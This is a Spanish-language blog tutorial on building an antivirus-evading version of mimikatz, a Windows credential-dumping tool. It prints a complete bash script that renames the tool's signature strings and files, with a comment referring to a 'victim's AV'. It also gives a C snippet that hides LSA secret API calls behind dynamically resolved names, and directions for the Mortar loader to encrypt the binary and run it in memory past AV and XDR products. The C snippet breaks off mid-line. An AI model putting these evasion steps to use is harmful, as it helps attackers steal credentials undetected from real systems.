Creando nuestro propio binario de mimikatz (indetectable)
En este post vamos a cubrir primero un método manual en el que vamos a modificar el código fuente de mimikatz para cambiar y ofuscar las palabras que usa normalmente el binario y luego con el uso de una herramienta terminar de encodearlo y ejecutarlo desde la memoria
Para hacer esto voy a utilizar la versión de version de desarrollador de windows con CommandoVM
Empezando con que ya existen varios artículos de este tema, pero no es español y sobre todo se enfocan en bypassear el Invoke-Powershell esta vez vamos a ofuscar el binario desde el código fuente
Veamos que es lo primero que imprime al ejecutar
Como podemos ver, más allá del comportamiento del archivo están las palabras obvias que buscaría un antivirus como
“A La Vie, A L’Amour” | mimikatz, MIMIKATZ |
http://blog.gentilkiwi.com/mimikatz | DELPY, Benjamin, benjamin@gentilkiwi.com |
Vincent LE TOUX | creativecommons |
vincent.letoux@gmail.com | gentilkiwi |
http://pingcastle.com | KIWI, Kiwi |
http://mysmartlogon.com |
Todas estas palabras del menú indicarían que mimikatz se está ejecutando así que ya tenemos una idea de que es lo primero que vamos a cambiar. Si buscamos más a fondo en algunas wikis encontramos mas palabras clave
- crypto, dpapi, kerberos, lsadump, ngc, sekurlsa
- standard, privilege, process, service, ts, event
- misc, token, vault, minesweeper, net, busylight
- sysenv, sid, iis, rpc, sr98, rdm, acr
Y porque no cambiar el mismo logo del que se encuentra en mimikatz.c
Aqui hay un gist en el cual con un script buscamos algunas de esas palabras claves y las borramos
# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.
git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'
find windows/ -type f -name '*mimikatz*' | while read FILE ; do
newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')";
mv "${FILE}" "${newfile}";
done02
find windows/ -type f -name '*kiwi*' | while read FILE ; do
newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')";
mv "${FILE}" "${newfile}";
done
Después de investigar un poco he encontrado una versión de este gist, pero con esteroides, con este script no solo cambiamos cada una de las palabras típicas de mimikatz, además cambiamos los nombres de las funciones, de los dll, de los archivos .c cambia hasta el icono del .exe. No lo puedo poner en el artículo porque ocuparía todo
mimikatz obfuscator
(gracias a S3cur3Th1sSh1t por el script)
Si analizamos un poco el código vemos como se mete tanto dentro de los archivos, con los nombres de los archivos, con los nombres y hasta cambiaria la estructura del proyecto entero
find windows/ -type f -print0 | xargs -0 sed -i "s/List Kerberos tickets/-/g"
mimi=$(cat /dev/urandom | tr -dc "a-zA-Z" | fold -w 8 | head -n 1)
mv windows/mimikatz windows/$mimi
find windows/ -type f -name "*mimikatz*" | while read FILE ; do
newfile="$(echo ${FILE} |sed -e "s/mimikatz/$mimi/g")";
mv "${FILE}" "${newfile}";
done
Es hora de verlo en acción. Pero aún faltan algunas cosas para cambiar del código
Notas a tener en cuenta al compilar mimikatz por primera vez
Si es la primera vez que vais a compilar mimikatz en visual studio code tenéis que tener en cuenta lo siguiente
- Primero en quitar el warning level en “Project”->Properties->Configuration Properites->General y ponerlo en W0
- Después en platform toolset tenemos que poner el v141_xp esto normalmente te sale, pero no está instalado, se instala en“tools”-> Get tools and features
- Después de tener esto listo ejecutamos nuestro script el cual va a descargar y obfuscar automaticamente, luego se supone que lo guarda en un .zip, pero cada quien lo puede cambiar a que haga lo que quiera
Este proceso tarda 20-30 min
El script debe cambiar el nombre de algunas carpetas como lo hemos visto antes y nos deberia quedar algo asi
API imports
Muchos antivirus detectan el comportamiento de mimikatz por sus llamadas al windows api. Que se conoce como LSAOpenSecret así que una forma de ocultar estas llamadas seria con el siguiente código.
typedef NTSTATUS(__stdcall* _LsaOSecret)(
__in LSA_HANDLE PolicyHandle,
__in PLSA_UNICODE_STRING SecretName,
__in ACCESS_MASK DesiredAccess,
__out PLSA_HANDLE SecretHandle
);
char hid_LsaLIB_02zmeaakLCHt[] = { 'a','d','v','a','p','i','3','2','.','D','L','L',0 };
char hid_LsaOSecr_BZxlW5ZBUAAe[] = { 'L','s','a','O','p','e','n','S','e','c','e','t',0 };
HANDLE hhid_LsaLIB_asdasdasd = LoadLibrary(hid_LsaLIB_02zmeaakLCHt);
_LsaOSecret ffLsaOSecret = (_LsaOSecret)GetProcAddress(hhid_LsaL
Ocultando SamEnumerateUserDomain, SamOpenUser, LsaSetSecret y mas ya tendriamos casi listo nuestro binario indetectable
NO utilizar el mismo codigo, tienes que randomizar aun mas las variables
mortar
Por ultimo, vamos a terminar de limpiar el binario y a ejecutarlo directamente en la memoria con una heramienta llamada mortar que nos va a hacer el proceso de ejecucion aun mas bypasseable
- Primero le pasamos el .exe que hemos creado antes lo encodea con encyptor.exe y despues lo ejecutamos con el deliver.exe
Mortar Loader realiza el cifrado y descifrado del binario seleccionado dentro de los flujos de memoria y lo ejecuta directamente sin escribir ningún indicador malicioso en el disco duro. Mortar puede eludir los productos antivirus modernos y las soluciones XDR
mortar es una herramienta hecha en pascal, os dejo los binarios compilados aqui:
encryptor.exe
deliver.exe
agressor.dll
- Primero le pasamos el mimikatz antes creado para que lo termine de encriptar
Por último lo ejecutamos de la siguiente manera.